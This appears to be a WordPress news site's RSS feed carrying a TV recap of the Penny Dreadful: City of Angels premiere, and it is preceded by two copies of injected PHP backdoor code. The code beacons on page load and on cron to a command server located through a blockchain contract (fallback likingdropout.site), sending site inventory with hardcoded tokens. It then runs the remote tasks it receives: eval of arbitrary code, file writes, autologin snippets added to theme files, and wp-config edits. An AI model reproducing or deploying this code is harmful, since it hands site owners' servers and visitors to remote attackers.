// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Spiritual – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 27 Apr 2020 03:26:20 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Spiritual – Brief News https://briefnews.eu 32 32 Penny Dreadful: City of Angels Premiere Recap: Did the ‘Spiritual Descendant’ Live Up to the Promise of Its Bloodline? https://briefnews.eu/penny-dreadful-city-of-angels-premiere-recap-did-the-spiritual-descendant-live-up-to-the-promise-of-its-bloodline/ https://briefnews.eu/penny-dreadful-city-of-angels-premiere-recap-did-the-spiritual-descendant-live-up-to-the-promise-of-its-bloodline/#respond Mon, 27 Apr 2020 03:26:20 +0000 https://briefnews.eu/penny-dreadful-city-of-angels-premiere-recap-did-the-spiritual-descendant-live-up-to-the-promise-of-its-bloodline/ It’s in the prologue of Sunday’s premiere of Penny Dreadful: City of Angels that shapeshifting demon Magda (Natalie Dorman) asks what could pass for a rhetorical question: “Are you ready?” Of course we are. From the moment it was announced, we’ve been ready to dive into John Logan’s “spiritual descendant” of his sublime original Showtime series. But could City of Angels possibly live up to the promise of its bloodline? Would we be drawn in as quickly and deeply by Magda, her accomplices and opponents, as we were Vanessa Ives and the Creature? After you’ve checked out TVLine’s review, read on. First, we’ll unpack “Santa Muerte,” then you can debate it out in the comments.

penny-dreadful-city-of-angels-recap-season-1-episode-1-premiere‘WELCOME TO HOMICIDE, DETECTIVE VEGA’ | In a prologue that was as gorgeous as it was unsettling, Magda informed her sister, the angel of death Santa Muerte (Lorenza Izzo), that “there will come a time when the world is ready for me, when nation will battle nation, when race will devour race, when brother will kill brother… until not a soul is left.” Yeah, Magda’s a real life-of-the-party type. “A leader will arise and set all the kingdoms to war,” added Debbie Downer. To get the fire lit, “all it will take is one final spark.” Clearly, Magda had the power to strike that match, too; she was, after all, about to send an entire field full of Mexican-American laborers up in flames merely by walking through it. Which didn’t seem to faze Santa Muerte — more souls for her to escort to heaven. But she did want her sister to leave be one boy in particular. In fact, when the youngster’s father was being burned up, Santa Muerte went so far as to repel him, leaving on his shoulder a mark that he still had as an adult. When we flashed forward to 1938, we learned that that kid had grown up to be Tiago Vega (Fear the Walking Dead’s Daniel Zovatto), who’d just become the LAPD’s first Mexican-American detective (and might turn out to be humanity’s answer to a fire extinguisher).

At a family party celebrating Tiago’s achievement, there was cake and beer and… tension. So. Much. Tension. Vega matriarch Maria (Adriana Barraza) was painfully aware that on Monday, bulldozers would roll in advance of construction on a freeway that would bisect her kitchen and ultimately destroy their whole community. And the oldest of her four children, Raul (Adam Rodriguez), not only planned to block that construction by any means necessary, he behaved as if his brother’s accomplishment was borderline traitorous. Maybe not even borderline. Though Tiago wasn’t to start his new job until Monday, he got called in the day before by his partner, veteran cop Lewis Michener (Pepper Saltzman Nathan Lane), who had been called in by their captain, Vanderhoff (Data Brent Spiner). Not because he especially wanted Michener on the case, it turned out, but because he wanted Tiago on it. “This is some spic thing,” Michener deduced when they arrived at the L.A. River and saw a message written in blood in Spanish: “You take our heart, we take yours.” All four victims had had their faces carved to resemble Day of the Dead masks, and their hearts removed. Back at the precinct, Vanderhoff told the detectives that the deceased(s) had been ID’d as James Hazlet and his family, Richie Rich white folks from Beverly Hills. “If this gets out, we’re looking at a race war,” he said. “You don’t know how much I wish those bodies were Mexican.” Oy.

penny-dreadful-city-of-angels-recap-season-1-episode-1-premiere‘I WANT EVERYBODY TO KNOW I’M CHICANO’ | The next day, Maria arrived for work as the housekeeper of a swanky mansion owned by German expat Peter Craft (erstwhile Creature Rory Kinnear), a pediatrician who spent his lunch hours marching with the pro-Nazi German-American Bund. He was good at it, too, using charm and analogy to dissuade Americans from having any interest whatsoever in what was going on over in Europe. (Vile as the character is, it was nice to see Rory Kinnear not looking cadaverous.) On the flip side, Peter’s home life didn’t seem like it often ended the way that his familiar “America first” speech did — in applause. Wife Linda (Piper Perabo), based on what little we saw of her, had the personality of a hangover. (She was also so fond of the drink that her husband recommended to Maria that, um, “she should not perhaps take any alcohol.” Good luck with that, Maria.) At the office, Peter treated an asthmatic boy named Frank (The Kids Are Alright’s Pat, Santino Barnard). But it was really his mother Elsa (a blonde Magda!) who had his attention. A fellow German, she appealed to him nine ways to Sunday — by complaining about being neighbors with Jews in Boyle Heights, by sharing that her idiotic American husband hurt her and their son, by batting her eyelashes as if she was trying to make little hearts flutter out of them. And he bought it hook, line and sinker. So she was pretty pleased with herself as she stepped into the elevator and, for lack or a better term, absorbed Frank.

While Tiago and Michener were grabbing a bite, the former asked the latter why he’d taken him on as a partner. “‘Cause no one else wanted you,” the older man replied before asking how come Tiago never wore a hat. He wanted his heritage front and center, the newly-minted detective explained. Before they headed to the Hazlet house to look for clues, Tiago added that he’d ask his mother about the makeup/carvings on the victims. In addition to being heavily into the religion based on Santa Muerte and her peers, Maria believed that she was a witch. (And why not?) Later, at the Hazlet mansion, the detectives learned that the family was super-involved in the cultish religion fronted by radio evangelist Sister Molly (Halt and Catch Fire’s Kerry Bishé, whom we didn’t meet here… her pictures were all over the house, though). They also found out that Hazlet was one of the developers working on the freeway that was going to upend his family’s neighborhood. The plot thickens… Meanwhile, at a public hearing about the development at City Hall, Transportation Commissioner Charlton Townsend (Michael Gladis) worked overtime to call to mind a certain someone: He barked that he could, too, throw out the press or “do whatever the hell I want.” And when Raul asked where he and his neighbors were supposed to go when their community was destroyed, Townsend spat, “Where you came from is not a bad answer.” (Need I even mention that Raul was born in L.A.? Didn’t think so.)

penny-dreadful-city-of-angels-recap-season-1-episode-1-premiere‘THIS IS OUR HOME, AND WE WILL FIGHT FOR IT!’ | After the hearing descended into a demonstration of police brutality, Townsend retired to his office with his fawning right-hand woman (Magda, this time putting her own spin on Miss Hathaway from The Beverly Hillbillies). Though she stroked his ego raw, he couldn’t resist patting himself on the back, too. He was like Mussolini, he reckoned. Maybe even Hitler. “Now there’s a fellow who understands the judicious exercise of power!” Luckily — for viewers, not him — he’d soon find his swelled head in a vise. A subsequent meeting arranged by his version of Eva Braun with German architect Richard Goss set up Townsend to become mayor. But he would, in effect, become Hitler’s yes man. The Fuhrer looks at L.A., Goss explained, and dreams. When Townsend floated the idea of ratting out Goss and his operatives to the FBI, the architect shared that his limo driver was actually gestapo, and if their conversation didn’t end in a handshake, it was going to end with a gunshot. “I won’t betray my country,” said Townsend with all the conviction I say I don’t want a second glass of wine. “Of course you will,” replied Goss. And he was right. That evening, Tiago asked his mother to let him know if she heard about any crazy black masses or anything in honor of Santa Muerte. And she agreed to be his informant, so long as the boy the angel of death had marked thought about one thing for his mama: “You might need [Santa Muerte] one day,” she said. “What will do you do then?”

After the Vegas shared a delightful mother/son dance at the music store, he encouraged baby brother Mateo to stay away from the construction site on Monday. He’d have tried with Raul, too, but there was no way the activist was sitting this fight out. “You go against the cops, they’ll shoot you down like animals,” Tiago warned. “That’s what you are to them.” In response, Raul asked where his heart was. Ow, bro. The following day, Michener was adding Goss’ photo to his Nazi-centric home crime board when Tiago stopped by to say that he wasn’t going to the construction site, as all the cops had been ordered to. Lemme get this straight, said Michener. “It’s your second day on the job, and you’re not gonna be there” — on the day of what promises to be a race riot. C’mon, dude, he added (minus the “dude”). “In this life, you’re a cowboy or you’re an Indian. You’d better f—ing choose.” That night, Maria managed to conjure up Santa Muerte, who was none too pleased about being awakened. Still, Maria persevered, pleading for her help. In response, Santa Muerte reminded her that she had no heart for the living, only the dead. So “if your leg is in a trap, you must chew it off yourself.” (OK, yeah, now I see the resemblance to Magda.) “Will you sleep,” Maria challenged, “as your bitch of a sister conquers heaven?” At that, Santa Muerte growled and vanished, presumably to get a cup of coffee. Off this unsatisfying exchange, Maria ran to Tiago and basically said, “Tag, you’re Buffy” — in other words, Santa Muerte’s chosen one. So the riot that’s a-brewin’, “you have to stop it, whatever it takes,” she told her son. Or “it all ends in blood.”

‘YOU CAN’T STOP THIS’ | When at last Monday arrived, Tiago walked into a tense standoff between the Mexican-American community and the police. Unfortunately, Magda was also on the scene, walking by the cops like an ill wind blowing softly in their ears. Tiago did his best to defuse the situation. “Shame!” cried Raul. But Tiago persevered, pointing out to his people that hey, they knew him. “I used to play on this street.” Hell, his mother lived just yonder. Nonetheless, “you can’t stop this,” he said. And at that moment, Magda whispered to a young uniformed cop, he pulled the trigger of his rifle, and all hell broke loose. Amid all the chaos, Magda worked her wiles on Raul, and next thing we knew, he was shooting cop after cop after cop. He even winged Michener, forcing Tiago to kill his own brother rather than let him put a fatal bullet in his partner. And if you were wondering what Magda kept saying to her pawns, she informed us (and Santa Muerte) at the beginning of the episode: “All mankind needs to be the monster he truly is, is being told he can.” Dire. So what did you think of the premiere of City of Angels? Grade it in the poll below, then hit the comments with your reviews, observations, criticisms.

